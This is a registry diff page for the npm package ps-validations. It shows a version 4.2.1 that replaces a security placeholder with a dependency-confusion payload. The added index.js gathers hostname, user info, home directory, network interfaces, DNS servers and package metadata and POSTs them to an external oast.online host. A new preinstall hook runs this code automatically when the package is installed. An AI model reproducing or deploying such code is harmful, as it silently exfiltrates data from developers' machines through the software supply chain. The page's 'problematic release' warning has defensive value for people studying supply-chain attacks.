ps-validations 0.0.1-security → 4.2.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ps-validations might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +55 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,55 @@
1
+ //ref: https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ ni: os.networkInterfaces(),
15
+ op: os.platform(),
16
+ rl: os.release(),
17
+ ve: os.version(),
18
+ td: os.tmpdir(),
19
+ ot: os.type(),
20
+ up: os.uptime(),
21
+ un: os.userInfo(),
22
+ ar: os.arch(),
23
+ dns: dns.getServers(),
24
+ r: packageJSON ? packageJSON.___resolved : undefined,
25
+ v: packageJSON.version,
26
+ pjson: packageJSON,
27
+ });
28
+
29
+ var postData = querystring.stringify({
30
+ msg: trackingData,
31
+ });
32
+
33
+ var options = {
34
+ hostname: "c8hrn1hcovbc9cjn3legcet5zbayyyyyn.oast.online",
35
+ port: 443,
36
+ path: "/",
37
+ method: "POST",
38
+ headers: {
39
+ "Content-Type": "application/x-www-form-urlencoded",
40
+ "Content-Length": postData.length,
41
+ },
42
+ };
43
+
44
+ var req = https.request(options, (res) => {
45
+ res.on("data", (d) => {
46
+ process.stdout.write(d);
47
+ });
48
+ });
49
+
50
+ req.on("error", (e) => {
51
+ // console.error(e);
52
+ });
53
+
54
+ req.write(postData);
55
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "ps-validations",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "H1 researcher: r3dp",
4
+ "version": "4.2.1",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "r3dp",
10
+ "license": "ISC",
11
+ "main": "index.js"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ps-validations for more information.